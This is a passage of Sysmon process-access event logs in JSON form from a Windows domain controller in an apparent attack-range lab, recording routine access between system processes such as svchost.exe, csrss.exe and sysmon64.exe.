AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1248\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4241-5F2D-0000-00101C890900}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\System32\\wsqmcons.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1248","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4241-5F2D-0000-00101C890900}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\System32\\wsqmcons.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|c:\\windows\\system32\\UBPM.dll+a711|c:\\windows\\system32\\UBPM.dll+f974|c:\\windows\\system32\\UBPM.dll+cd3c|c:\\windows\\system32\\UBPM.dll+d305|c:\\windows\\system32\\UBPM.dll+dc05|c:\\windows\\system32\\UBPM.dll+e91d|c:\\windows\\system32\\UBPM.dll+e12a|c:\\windows\\system32\\UBPM.dll+dd82|c:\\windows\\system32\\EventAggregation.dll+3e22|c:\\windows\\system32\\EventAggregation.dll+36c9|c:\\windows\\system32\\EventAggregation.dll+332f|c:\\windows\\system32\\EventAggregation.dll+2e28|C:\\Windows\\SYSTEM32\\ntdll.dll+64ed5|C:\\Windows\\SYSTEM32\\ntdll.dll+64bdd|C:\\Windows\\SYSTEM32\\ntdll.dll+64a40|C:\\Windows\\SYSTEM32\\ntdll.dll+45b70|C:\\Windows\\SYSTEM32\\ntdll.dll+2a073|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4241-5F2D-0000-00101C890900}\r\nTargetProcessId: 4412\r\nTargetImage: C:\\Windows\\System32\\wsqmcons.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4241-5F2D-0000-00101C890900}","TargetProcessId":"4412","TargetImage":"C:\\Windows\\System32\\wsqmcons.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:01.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:01.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 